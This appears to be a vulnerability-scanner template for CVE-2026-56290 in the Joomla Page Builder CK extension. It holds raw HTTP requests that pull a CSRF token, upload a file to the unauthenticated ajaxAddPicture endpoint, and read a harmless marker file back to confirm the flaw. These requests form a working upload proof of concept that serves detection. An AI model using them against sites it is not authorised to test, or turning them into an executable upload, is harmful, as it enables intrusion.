id: CVE-2026-56290

info:
  name: "Joomla - Arbitrary File Upload"
  author: vedas-arpsyndicate
  severity: critical
  description: |
    Joomla Extension - joomlack.fr - Unauthenticated file upload in Page Builder CK extension < 3.6.0 - The Joomla
    extension Page Builder CK is vulnerable to an unauthenticated arbitrary file upload that allows uploading
    executable files and leads to full RCE.
  reference:
    - https://www.exploit.observer/?keyword=CVE-2026-56290&match=exact
    - https://subdomain.center/?engine=ammonites&keyword=joomla&match=exact
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2026-56290
    cwe-id: CWE-434
  metadata:
    verified: false
  tags: cve,cve2026,joomla,pagebuilderck,file-upload,rce,intrusive,kev,vkev
variables:
  marker: "{{to_lower(rand_base(8))}}"

flow: http(1) && http(2) && http(3)

http:
  - raw:
      - |
        GET / HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "csrf")'
        condition: and
        internal: true

    extractors:
      - type: regex
        name: csrf_token
        group: 1
        internal: true
        regex:
          - 'name="([a-f0-9]{32})"\s+value="1"'
          - 'csrf\.token"\s*:\s*"([a-f0-9]{32})"'

  - raw:
      - |
        POST /index.php?option=com_pagebuilderck&task=browse.ajaxAddPicture&{{csrf_token}}=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPBCK
        Referer: {{BaseURL}}/
        Origin: {{BaseURL}}

        ------WebKitFormBoundaryPBCK
        Content-Disposition: form-data; name="path"

        media/com_pagebuilderck/gfonts/
        ------WebKitFormBoundaryPBCK
        Content-Disposition: form-data; name="file"; filename="{{marker}}.txt"
        Content-Type: text/plain

        CVE-2026-56290-{{marker}}
        ------WebKitFormBoundaryPBCK--

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
        condition: and
        internal: true

  - raw:
      - |
        GET /media/com_pagebuilderck/gfonts/{{marker}}.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(body, "CVE-2026-56290-{{marker}}")'
        condition: and